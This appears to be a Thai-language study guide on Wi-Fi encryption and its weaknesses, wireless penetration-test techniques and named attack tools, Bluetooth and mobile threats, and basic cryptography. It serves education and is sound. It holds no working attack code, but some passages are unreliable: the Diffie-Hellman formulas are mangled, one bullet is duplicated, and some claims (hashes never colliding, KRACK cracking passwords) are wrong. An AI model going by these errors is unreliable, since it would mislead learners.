Wireless LAN (WLAN) หรือที่รู้จักกันในชื่อ Wireless LAN เป็นเทคโนโลยีที่ช่วยให้การเชื่อมต่อเครือข่ายเป็นไปอย่างสะดวกโดยไม่ต้องใช้สายเคเบิล WLAN เริ่มพัฒนาในปี 1980 โดยใช้ความถี่ 900 MHz และในปี 1992 IEEE (Institute of Electrical and Electronics Engineers) ได้กำหนดมาตรฐานสำหรับ WLAN ที่ใช้ความถี่หลัก 2.4 GHz, 5 GHz และอินฟราเรด (Infrared) โดยที่ความถี่ 2.4 GHz เป็นที่นิยมใช้มากที่สุด
มาตรฐาน IEEE 802.11 ได้พัฒนาออกมาในหลายรุ่น เช่น 802.11a, 802.11b, 802.11g และ 802.11n โดย IEEE 802.11g ทำงานที่ความถี่ 2.4 GHz ความเร็วสูงสุดที่ 54 Mbps และ IEEE 802.11n สามารถทำงานที่ความถี่ 2.4 GHz และ 5 GHz ด้วยความเร็ว 300-450 Mbps
รูปแบบการเข้ารหัส
การเข้ารหัสข้อมูลใน WLAN เป็นสิ่งสำคัญในการป้องกันข้อมูลจากการถูกดักจับ การเข้ารหัสที่ใช้กันทั่วไปมี WEP, WPA และ WPA2
WEP (Wired Equivalent Privacy)
WEP ใช้การเข้ารหัสแบบ Symmetric Key Stream โดยใช้ Algorithm RC4 ซึ่งประกอบด้วยขั้นตอนการเข้ารหัสและถอดรหัสดังนี้:
- การเข้ารหัส: ใช้รหัสผ่านที่มีความยาว 40 หรือ 104 บิต ร่วมกับ IV (Initialization Vector) ขนาด 24 บิต การเข้ารหัสใช้ CRC-32 เพื่อสร้าง Integrity Check Value (ICV) และ Key Stream จาก PRNG (Pseudo-Random Number Generator) เพื่อสร้างข้อความที่เข้ารหัสแล้ว
- การถอดรหัส: ใช้รหัสผ่านและ IV เดียวกันในการสร้าง Key Stream และถอดรหัสข้อมูลเพื่อให้ได้ข้อมูลและ ICV ที่สามารถตรวจสอบความถูกต้องได้
ช่องโหว่ของ WEP
WEP มีช่องโหว่เนื่องจากการใช้ IV และรหัสผ่านที่คงที่ ซึ่งทำให้สามารถโจมตีได้เมื่อ IV ซ้ำกันหลายครั้ง วิธีการโจมตีที่พบมาก เช่น ใช้โปรแกรม aircrack-ng, gerix และ airsnort โดยการโจมตีจะรวบรวมข้อมูลจากการส่งข้อมูลที่มี IV เดียวกันเพื่อทำการถอดรหัส
การป้องกัน
เนื่องจากข้อบกพร่องของ WEP ควรใช้มาตรฐานที่ปลอดภัยกว่า เช่น WPA2 ซึ่งมีความปลอดภัยที่ดีกว่าในการป้องกันข้อมูลจากการถูกดักจับ
WPA (Wi-Fi Protected Access)
- พัฒนาเพื่อแก้ไขข้อบกพร่องของ WEP: WPA ใช้การเข้ารหัสที่แข็งแกร่งกว่า WEP เช่น TKIP (Temporal Key Integrity Protocol) และมีการตรวจสอบการเข้าใช้ (Authentication) ด้วย 4-Ways Handshake และมาตรฐาน IEEE802.1x
- ประเภทของ WPA:
- WPA Personal (WPA-PSK): ใช้ Pre-Shared Key (PSK) สำหรับ Authentication
- WPA Enterprise (WPA+RADIUS): ต้อง Authentication กับ Radius Server และสามารถใช้ EAP-TLS กับ Certificate ของผู้ใช้
- การทำงาน: WPA ใช้ TKIP และ MIC (Message Integrity Code) เพื่อปรับเปลี่ยน Key และเพิ่มความยาวของ IV จาก 24 บิตเป็น 48 บิต
- การโจมตี: การโจมตี WPA มักมุ่งเน้นที่ 4-way Handshake โดยการ brute force ด้วย wordlist สามารถใช้เครื่องมือเช่น aircrack-ng ในการทดสอบ
WPA2
- พัฒนาต่อจาก WPA: ใช้ Cipher block Chaining Message Authentication Code Protocol (CCMP) และ Advanced Encryption Standard (AES) ซึ่งมีความปลอดภัยมากขึ้นด้วย Key ขนาด 128-bit
- ช่องโหว่ KRACK: ช่องโหว่ KRACK (Key Reinstallation Attack) สามารถทำให้ผู้โจมตีทำ man-in-the-middle attack และดักจับข้อมูลที่ถูกเข้ารหัสซ้ำๆ จนกระทั่งสามารถทำการ crack password ได้ โดยผู้โจมตีต้องอยู่ในรัศมีของเครือข่าย Wi-Fi ที่เป็นเป้าหมาย
ข้อสรุป: WPA และ WPA2 มีมาตรการป้องกันที่ดีกว่า WEP โดย WPA2 ใช้เทคโนโลยีการเข้ารหัสที่ทันสมัยกว่า อย่างไรก็ตาม WPA2 ยังมีช่องโหว่เช่น KRACK ที่อาจเสี่ยงต่อการถูกโจมตีได้
WPA3 เป็นมาตรฐานความปลอดภัยใหม่สำหรับ Wi-Fi ที่เปิดตัวในปี 2018 ซึ่งได้ปรับปรุงและเพิ่มฟีเจอร์ใหม่เพื่อแก้ไขจุดบกพร่องของ WPA2 โดยมีคุณสมบัติหลักดังนี้:
ความปลอดภัยใน Public Wi-Fi: WPA3 เพิ่มการเข้ารหัสให้กับ Public Wi-Fi (Open network) ทำให้ข้อมูลที่ส่งผ่านเครือข่ายสาธารณะมีความปลอดภัยมากขึ้นและลดความเสี่ยงจากการดักฟังข้อมูล.
การป้องกัน Brute Force: WPA3 มีฟีเจอร์ที่ช่วยป้องกันการโจมตีด้วย brute force โดยตรวจจับและป้องกันการพยายามเดารหัสผ่าน.
การเชื่อมต่อกับอุปกรณ์ IoT: WPA3 ทำให้การเชื่อมต่ออุปกรณ์ IoT ง่ายขึ้นและปลอดภัยยิ่งขึ้นโดยรองรับ WPS ที่ปลอดภัย.
การปรับปรุง Handshake: WPA3 ใช้ Handshake แบบ SAE (Simultaneous Authentication of Equals) เพื่อป้องกันการถอดรหัสข้อมูลที่ถูกดักฟังและรับรองความปลอดภัยในระยะยาว (Forward Secrecy).
การใช้ Key ขนาดใหญ่: WPA3 ใช้การเข้ารหัสด้วย key ขนาด 192-bit แทนที่ 128-bit ของ WPA2 ทำให้เพิ่มความปลอดภัย.
WPA3-Enterprise
WPA3-Enterprise มาพร้อมการปรับปรุงเพิ่มเติมเช่น:
- การใช้ 256-bit Galois/Counter Mode Protocol (GCMP-256) และ 384-bit HMAC สำหรับการสร้าง key.
- การใช้ ECDH และ ECDSA ในการแลกเปลี่ยน key.
- การป้องกัน frame ด้วย 256-bit Broadcast/Multicast Integrity Protocol (BIP-GMAC-256).
ช่องโหว่ Dragonblood
WPA3 มีช่องโหว่ที่เรียกว่า Dragonblood ซึ่งประกอบด้วย:
- DoS: การโจมตีที่ทำให้ Access Point (AP) ทำงานผิดพลาดจากการสร้าง handshake จำนวนมาก.
- Downgrade Dictionary Attack: การบังคับให้ client กลับไปใช้ WPA2 ซึ่งมีช่องโหว่.
- Group Downgrade Attack: การบังคับให้ AP ใช้งาน Elliptic Curves Algorithm ที่ปลอดภัยน้อยลง.
- Cache-based Side-channel Attack: การโจมตีที่ใช้ช่องโหว่ใน algorithm ของ WPA3.
- Timing-based Side-channel Attack: การโจมตีที่ใช้การตรวจสอบตัวเลขจากการเข้ารหัสรหัสผ่าน.
การทดสอบความปลอดภัยของเครือข่ายไร้สาย (Wireless Penetration Test)
การทดสอบความปลอดภัยของเครือข่ายไร้สายมุ่งเน้นไปที่การตรวจสอบช่องโหว่ของระบบไร้สายและแบ่งออกเป็น 6 ด้านหลัก:
การดักฟังข้อมูล (Sniffing) และการหลีกเลี่ยงการบล็อคด้วย Covert Channel
- การดักฟังข้อมูลสามารถทำได้ผ่านการเชื่อมต่อกับเครือข่ายไร้สายสาธารณะ และทำให้ผู้โจมตีสามารถดักฟังการสื่อสารของผู้ใช้ในองค์กรได้
- การโจมตี DNS Tunnel เช่นการใช้ Iodine สามารถช่วยหลีกเลี่ยงการบล็อคการใช้งาน HTTP/HTTPS โดยใช้โปรโตคอล DNS เพื่อเข้าถึงอินเทอร์เน็ต
Rogue Access Point หรือ Evil Twin
- การสร้างจุดเชื่อมต่อเครือข่ายไร้สายปลอม (Evil Twin) เพื่อหลอกให้ผู้ใช้เชื่อมต่อและให้ข้อมูลสำคัญ เช่น ข้อมูลการเข้าสู่ระบบ
- ตัวอย่างเครื่องมือที่ใช้: Wifiphisher, Wifipumpkin, roguehostapd
การปลอมแปลง MAC Address
- การเปลี่ยน MAC Address ของอุปกรณ์เพื่อปลอมตัวเป็นผู้ใช้ที่ได้รับอนุญาตในองค์กร โดยใช้เครื่องมืออย่าง macchanger
การโจมตีเพื่อทำลายรหัสผ่านที่อ่อนแอ (Cracking Weak Keys)
- การใช้เทคนิค rainbow attack เพื่อล้วงข้อมูลรหัสผ่านของเครือข่ายไร้สายที่มีการตั้งรหัสผ่านที่อ่อนแอ
การโจมตีด้วยการใช้ brute force สำหรับ WPA2 Enterprise
- การพยายามเดารหัสผ่านที่อ่อนแอของ WPA2 Enterprise ซึ่งอาจต้องใช้การตรวจสอบหลายรหัสผ่าน
- การใช้การตรวจสอบหลายปัจจัย (Multi-Factor Authentication) เพื่อเพิ่มความปลอดภัย
การโจมตีลักษณะ deauthentication
- การโจมตีที่ทำให้ผู้ใช้ถูกบังคับให้ตัดการเชื่อมต่อจากเครือข่ายและทำให้เกิดการโจมตี DoS (Denial of Service) บนเครือข่ายไร้สาย
- การโจมตีที่ทำให้ผู้ใช้ถูกบังคับให้ตัดการเชื่อมต่อจากเครือข่ายและทำให้เกิดการโจมตี DoS (Denial of Service) บนเครือข่ายไร้สาย
สรุป: การทดสอบความปลอดภัยของเครือข่ายไร้สายประกอบด้วยการดักฟังข้อมูล, การสร้างจุดเชื่อมต่อปลอม, การปลอมแปลง MAC Address, การโจมตีรหัสผ่านที่อ่อนแอ, การใช้ brute force และการโจมตีแบบ deauthentication การเข้าใจและป้องกันเทคนิคเหล่านี้ช่วยเพิ่มความมั่นคงของเครือข่ายไร้สายในองค์กร
บทนำเกี่ยวกับ Bluetooth และการเชื่อมต่อ
Bluetooth เป็นเทคโนโลยีการสื่อสารไร้สายที่ใช้งานในระยะใกล้ โดยทำงานในความถี่ 2.4 GHz ของ ISM Band โดยทั่วไปการเชื่อมต่อ Bluetooth มีระยะทางสูงสุดประมาณ 10 เมตร ขึ้นอยู่กับความแรงของสัญญาณ
Bluetooth Profile
Bluetooth มีหลายโปรไฟล์ (profile) สำหรับการใช้งานที่แตกต่างกัน เช่น:
- A2DP (Advanced Audio Distribution Profile): ใช้สำหรับส่งสัญญาณเสียงแบบสเตอริโอ
- AVRCP (Audio/Video Remote Control Profile): ใช้ควบคุมการเล่นสื่อ
- DUN (Dial-up Networking Profile): เชื่อมต่ออินเทอร์เน็ตผ่าน Bluetooth
- HFP (Hands-Free Profile): ใช้สำหรับการสนทนาและควบคุมโทรศัพท์
- HID (Human Interface Device Profile): เชื่อมต่อกับอุปกรณ์รับข้อมูล เช่น คีย์บอร์ดและเมาส์
การจับคู่ (Pairing) และความปลอดภัย
การจับคู่ Bluetooth เกิดขึ้นเมื่ออุปกรณ์สองเครื่องเชื่อมต่อกันเพื่อแลกเปลี่ยนข้อมูล โดยมีกระบวนการตรวจสอบเพื่อป้องกันการเชื่อมต่อที่ไม่พึงประสงค์ ซึ่งรวมถึงการกรอกรหัส PIN หากรหัสตรงกันอุปกรณ์จะเชื่อมต่อได้สำเร็จ
Bluetooth v2.1 นำเสนอฟีเจอร์ความปลอดภัยที่เรียกว่า Simple Secure Pairing (SSP) ซึ่งรวมถึงรูปแบบการเชื่อมต่อใหม่ๆ เช่น Just Works, Passkey, และ LE Secure Connection โดยใช้โปรโตคอล ECDH เพื่อความปลอดภัย
การโจมตีใน Bluetooth
แม้ Bluetooth มีการปรับปรุงความปลอดภัย แต่ยังมีช่องโหว่ที่สามารถโจมตีได้ เช่น:
- Sniffing: ใช้เครื่องมืออย่าง Btscanner และ hcitool เพื่อดักฟังข้อมูล
- Bluejacking: ส่งข้อความหรือข้อมูลไปยังอุปกรณ์เป้าหมายโดยไม่ต้องทำการเชื่อมต่อ
- Bluesnarfing: รับข้อมูลจากอุปกรณ์เป้าหมายที่เชื่อมต่ออยู่
- Bluebugging: ควบคุมอุปกรณ์ Bluetooth ที่เชื่อมต่อเพื่อทำการโทร ส่งข้อความ หรือเข้าถึงข้อมูล
อุปกรณ์มือถือและระบบปฏิบัติการ
ระบบปฏิบัติการหลักในมือถือมีสองประเภท: iOS ของ Apple และ Android ซึ่งใช้ในอุปกรณ์จากหลายผู้ผลิต ความแตกต่างสำคัญคือ iOS จะอัปเดตทันทีในขณะที่ Android อาจต้องรอการปรับปรุงจากผู้ผลิต
การติดตั้งและความปลอดภัยของแอปพลิเคชัน
การติดตั้งแอปพลิเคชันใน iOS ทำได้ผ่าน Apple App Store เท่านั้น ขณะที่ Android อนุญาตให้ติดตั้งจาก Google Play Store หรือแหล่งอื่นๆ ซึ่งอาจเพิ่มความเสี่ยงจากแอปพลิเคชันที่เป็นอันตราย การติดตั้งแอปพลิเคชันจากแหล่งภายนอกอาจเสี่ยงต่อการติด malware
การโจมตีในอุปกรณ์มือถือ
การโจมตีในมือถือสามารถทำได้จากหลายช่องทาง:
- การติดตั้งแอปพลิเคชันจากแหล่งภายนอก: อาจเสี่ยงต่อการติด malware
- Jailbreaking หรือ Rooting: ทำให้สามารถติดตั้งแอปพลิเคชันที่ไม่ได้รับการอนุมัติ
- ช่องโหว่ในแอปพลิเคชัน: อาจถูกโจมตีเพื่อเข้าถึงข้อมูลสำคัญ
การรักษาความปลอดภัยในอุปกรณ์มือถือและ Bluetooth จึงเป็นสิ่งสำคัญเพื่อป้องกันการโจมตีและการเข้าถึงข้อมูลที่ไม่พึงประสงค์
PART 4 Cryptography : การเข้ารหัส – ถอดรหัส
ความแตกต่างระหว่าง Encoding, Encryption, และ Hashing
การทำความเข้าใจเกี่ยวกับ Encoding, Encryption, และ Hashing มักสร้างความสับสนให้หลายคน บทความนี้จะอธิบายความแตกต่างและการใช้งานของแต่ละประเภท
1. Encoding
Encoding คือการแปลงข้อมูลให้อยู่ในรูปแบบที่ระบบสามารถเข้าใจได้ จุดประสงค์หลักไม่ใช่เพื่อความปลอดภัย แต่เพื่อความสะดวกในการอ่านและแสดงผล ตัวอย่างรูปแบบการเข้ารหัสได้แก่ ASCII, Unicode, URL Encoding และ Base64
2. Encryption
Encryption คือการเข้ารหัสข้อมูลเพื่อป้องกันการเข้าถึงจากผู้อื่น จุดประสงค์หลักเพื่อความปลอดภัยในการสื่อสาร ข้อมูลที่ถูกเข้ารหัสสามารถถูกถอดรหัสกลับได้โดยผู้รับที่ได้รับอนุญาตผ่านการใช้คีย์ ตัวอย่างอัลกอริธึมการเข้ารหัสได้แก่ AES, Blowfish, RSA และ Caesar
3. Hashing
Hashing คือการสร้างค่าที่ไม่ซ้ำจากข้อมูลต้นฉบับ โดยมีคุณสมบัติที่สำคัญดังนี้:
- ค่า input เดิมจะให้ผลลัพธ์เดิมเสมอ
- ค่า input ที่ต่างกันจะให้ผลลัพธ์ที่ต่างกันเสมอ
- ไม่สามารถย้อนกลับจากค่า hash ไปเป็นค่า input ได้
- การเปลี่ยนแปลงแม้เพียงเล็กน้อยในค่า input จะส่งผลให้ค่า hash เปลี่ยนแปลงมาก ตัวอย่างอัลกอริธึม Hashing ได้แก่ SHA-3 และ MD5
4. Obfuscation
Obfuscation คือการทำให้ข้อมูลอ่านได้ยาก เพื่อป้องกันการโจมตีหรือการคัดลอกข้อมูล มักใช้ในหลากหลายสถานการณ์ เช่น การหลีกเลี่ยงการตรวจจับของ Antivirus หรือการทำให้โค้ดอ่านได้ยากเมื่อต้องถูก Reverse Engineer ตัวอย่างการใช้งาน Obfuscation ได้แก่ Javascript Obfuscation และ ProGuard
สรุป
- Encoding: การเปลี่ยนรูปแบบข้อมูลเพื่อให้ระบบอ่านเข้าใจได้
- Encryption: การเข้ารหัสข้อมูลเพื่อความปลอดภัยในการสื่อสาร
- Hashing: การสร้างค่าที่ไม่ซ้ำจากข้อมูลเพื่อการตรวจสอบความถูกต้อง
การเข้าใจความแตกต่างของแต่ละประเภทจะช่วยให้การเลือกใช้งานได้ถูกต้องและเหมาะสมมากยิ่งขึ้น
แหล่งที่มา: Daniel Miessler
การเข้ารหัส ASCII และ Base64
ASCII Encoding
ASCII (American Standard Code for Information Interchange) เป็นระบบรหัสที่ใช้แทนตัวอักษรเป็นตัวเลขที่คอมพิวเตอร์เข้าใจได้ เช่น ตัวอักษร ‘a’ จะถูกแทนด้วยเลข 97 เป็นต้น ในการแปลงค่าระหว่าง ASCII Code กับตัวอักษร จะใช้ตาราง ASCII character table ซึ่งยังมีการแทนค่าตัวอักขระพิเศษด้วย
ตัวอย่างการแปลง ASCII ใน Python:
L = [104, 101, 108, 108, 111, 44, 32, 119, 111, 114, 108, 100]
print(''.join(chr(i) for i in L))
Base64 Encoding
Base64 เป็นอัลกอริธึมที่ใช้บ่อยในการเข้ารหัสข้อมูล ทำให้สามารถแปลงตัวอักษรใดๆ รวมถึงตัวอักษรจีน, emoji และรูปภาพให้อยู่ในรูปแบบเดียวกัน
ขั้นตอนการแปลง:
- แปลงตัวอักษรเป็น ASCII
- แปลง ASCII เป็น binary
- แบ่ง binary เป็นกลุ่มละ 6 bits
- แปลงจาก 6-bit words ให้เป็น decimal
- ใช้ Base64 Table เพื่อแปลง decimal เป็นตัวอักษร
ตัวอย่างการแปลง Base64 ใน Python:
import base64
def stringToBase64(s):
return base64.b64encode(s.encode('utf-8'))
def base64ToString(b):
return base64.b64decode(b).decode('utf-8')
word = "Hello,world"
encode = stringToBase64(word)
print(encode)
decode = base64ToString(encode)
print(decode)
สรุป
จากเนื้อหานี้ คุณจะได้ทราบถึงการแปลงค่าจาก ASCII และ Base64 ให้กลายเป็นตัวอักษรได้อย่างไร รวมถึงวิธีการแปลงค่าใน Python เพื่อความเข้าใจที่ดีขึ้นและการประยุกต์ใช้งานในด้านต่างๆ
Hexadecimal Encoding
Hexadecimal เป็นเลขฐาน 16 ใช้เพื่อแปลงตัวอักษรเป็นเลขฐาน 16 ตามขั้นตอนดังนี้:- แปลงตัวอักษรเป็นเลขฐาน 10 (ASCII)
- แปลงเลขฐาน 10 เป็นเลขฐาน 16
import codecs word = "SEC Playground" enstring = word.encode("utf-8").hex() print("Hex: " + enstring) destring = str(codecs.decode(enstring, 'hex'))[2:-1] print("String: " + destring)Morse Code เป็นการเข้ารหัสตัวอักษรโดยใช้สัญญาณ dot และ dash พัฒนาขึ้นโดย Samuel F. B. Morse เพื่อสื่อสารผ่านสื่อกลางต่าง ๆ เช่น กระแสไฟฟ้า คลื่นวิทยุ แสง หรือคลื่นเสียง
- ใช้ dot และ dash แทนตัวอักษร A-Z และบางอักษรที่ไม่ใช่ภาษาอังกฤษ
- Dot มีระยะเวลาพื้นฐานที่กำหนด Dash ใช้เวลามากกว่า 3 เท่าของ dot
- เว้นช่วงระหว่างตัวอักษรและคำเพื่อให้แยกแยะได้ง่าย
การเข้ารหัสลับและการซ่อนข้อความ
การเข้ารหัสลับ (Cryptography)
การเข้ารหัสลับเป็นศิลปะการติดต่อสื่อสารอย่างลับๆ โดยเปลี่ยนข้อความธรรมดา (plaintext) ให้เป็นข้อความที่ถูกเข้ารหัส (cipher text) เพื่อป้องกันข้อมูลไม่ให้ถูกเปิดเผย มีขั้นตอนการทำงานคือ:
- Encryption: การเข้ารหัสข้อมูล
- Decryption: การถอดรหัสข้อมูลกลับมาให้อ่านได้
- Key: กุญแจที่ใช้ร่วมกับอัลกอริธึมในการเข้ารหัสและถอดรหัส
- Plaintext: ข้อความที่ยังไม่ได้เข้ารหัส
- Cipher text: ข้อความที่ผ่านการเข้ารหัสแล้ว
การเข้ารหัสลับถูกนำมาใช้ในหลายด้าน เช่น การส่งข้อมูลผ่านเครือข่ายที่ไม่ปลอดภัย เพื่อป้องกันการดักฟังข้อมูลจากบุคคลที่ไม่พึงประสงค์
การซ่อนข้อความ (Steganography)
การซ่อนข้อความเป็นวิธีการซ่อนข้อความในสื่อที่มีอยู่ เช่น ภาพ, เสียง, หรือไฟล์เอกสาร ทำให้ผู้ที่ดูหรือดักจับข้อความไม่สามารถรู้ได้ว่ามีข้อความซ่อนอยู่
เครื่องมือที่ใช้ในการซ่อนข้อความมีหลายประเภท เช่น:
- S-Tools: ซ่อนข้อความในไฟล์ .BMP, .GIF, .WAV
- MP3 Stego: ซ่อนข้อความในไฟล์ MP3
- Steghide: ซ่อนข้อความในไฟล์ภาพหรือเสียง
- Stegoveritas: ใช้ตรวจสอบไฟล์ว่ามีข้อความซ่อนอยู่หรือไม่
Binwalk: Binwalk เป็นเครื่องมือที่ใช้ค้นหาไฟล์ binary เช่น ภาพ เสียง และไฟล์ zip ที่อยู่ภายในไฟล์ binary ซึ่งมักใช้ในการวิเคราะห์ firmware
สรุป
การเข้ารหัสลับและการซ่อนข้อความมีจุดประสงค์หลักคือการปกป้องข้อมูลไม่ให้ถูกเปิดเผยหรือดักฟัง แต่มีวิธีการและเครื่องมือที่ใช้แตกต่างกัน การเข้ารหัสลับจะเปลี่ยนรูปแบบของข้อมูล ส่วนการซ่อนข้อความจะซ่อนข้อมูลในสื่อที่มีอยู่โดยไม่เปลี่ยนแปลงเนื้อหาหลัก
Symmetric Encryption
Symmetric-key cryptography เป็นวิธีการเข้ารหัสที่ใช้กุญแจเดียวกันทั้งในการเข้ารหัสและถอดรหัสข้อมูล ตัวอย่างที่รู้จักกันดี ได้แก่ DES (Data Encryption Standard), AES (Advanced Encryption Standard), RC4, และ Blowfish
1. Data Encryption Standard (DES) DES เป็น block cipher ที่ใช้กุญแจขนาด 56 bit ซึ่งตอนนี้ถือว่ามีความปลอดภัยต่ำเนื่องจากการโจมตีแบบ brute force สามารถคาดเดากุญแจได้ง่ายกว่าในอดีต. DES ใช้ block ขนาด 64 bit แต่ตอนนี้มีการแทนที่ด้วย Triple DES (3DES) ซึ่งใช้กุญแจ 168 bit แทนการใช้กุญแจเดียว 56 bit โดยการเข้ารหัสข้อมูลสามครั้งด้วยกุญแจสามชุด
2. Advanced Encryption Standard (AES) AES ถูกพัฒนามาเพื่อแทนที่ DES โดยใช้ Rijndael cipher ซึ่งมีความยาวของกุญแจที่แตกต่างกันคือ 128, 192, และ 256 bit. AES ทำงานโดยการเข้ารหัสข้อมูลในหลายรอบ (10, 12, และ 14 รอบ ตามลำดับของความยาวของกุญแจ) และมีขั้นตอนหลัก 4 ประการ ได้แก่ AddRoundKey, SubBytes, ShiftRows, และ MixColumns
การเข้ารหัสและถอดรหัสใน AES
- AddRoundKey: การผสมข้อมูลกับกุญแจ
- SubBytes: การแทนที่แต่ละ byte ด้วยค่าใน lookup table
- ShiftRows: การเลื่อนตำแหน่ง byte ในแต่ละแถว
- MixColumns: การผสมข้อมูลในแต่ละคอลัมน์
สรุป: Symmetric Encryption เป็นการเข้ารหัสที่ใช้กุญแจเดียวในการเข้ารหัสและถอดรหัสข้อมูล และมีการพัฒนาอย่างต่อเนื่องเพื่อเพิ่มความปลอดภัย เช่น การใช้ AES แทน DES และ 3DES ที่มีการพัฒนาเพื่อให้มีความปลอดภัยสูงขึ้น
การแลกเปลี่ยนคีย์ด้วย Diffie-Hellman
Diffie-Hellman (DH) เป็นกระบวนการในการสร้างและแลกเปลี่ยนคีย์ระหว่างผู้สื่อสาร โดยไม่จำเป็นต้องส่งคีย์นั้นตรงๆ เพื่อป้องกันการถูกดักจับในระหว่างการส่งข้อมูล ซึ่งอาจทำให้คีย์หลุดได้ กระบวนการ DH ใช้สมการ
(na)bmod p=(nb)amod p
เพื่อแลกเปลี่ยนคีย์ลับ โดยที่ (na)bmod p(n^a)^b \mod p(na)bmodp คือคีย์ลับที่ต้องการแลกเปลี่ยน ซึ่ง nnn และ ppp สามารถส่งให้กันได้ โดยเก็บ aaa และ bbb เป็นความลับแต่ละฝ่าย
ขั้นตอนในการแลกเปลี่ยนคีย์:
- ทั้งสองฝ่ายสร้างตัวเลขลับของตนเอง
- ส่งพารามิเตอร์ n และ p ให้แก่กัน
- แลกเปลี่ยนค่าที่คำนวณได้ A=namod p และ B=nbmod p
- ทั้งสองฝ่ายจะได้รับคีย์ลับร่วมกันที่บุคคลอื่นไม่สามารถรู้ได้
ตัวอย่างการใช้งาน:
สมมุติว่า Alice และ Bob ต้องการผสมสีเพื่อสร้างสีลับร่วมกัน Alice เลือกสีแดง และ Bob เลือกสีเขียว ทั้งสองฝ่ายผสมสีลับของตนเข้ากับสีพื้นฐาน และแลกเปลี่ยนผลลัพธ์ Alice จะได้รับสีฟ้าของ Bob และ Bob จะได้รับสีส้มของ Alice ทั้งสองผสมสีลับของตนเองเข้าไป จะได้เป็นสีน้ำตาล ซึ่งเป็นคีย์ลับร่วมกัน
ข้อควรระวัง:
การเชื่อมต่อแบบ DH จะไม่มีการยืนยันตัวตน (Authentication) อาจเกิดปัญหาได้หากมีผู้โจมตีปลอมตัวเป็นคนกลาง (Man-in-the-Middle Attack)
ข้อสรุป:
Diffie-Hellman เป็นวิธีการแลกเปลี่ยนคีย์ที่ช่วยให้การแชร์ข้อมูลลับเป็นไปอย่างปลอดภัย แม้ว่าจะไม่มีการยืนยันตัวตนของผู้สื่อสาร ซึ่งจำเป็นต้องระวังปัญหาด้านความปลอดภัยในกรณีที่มีการโจมตีประเภทต่างๆ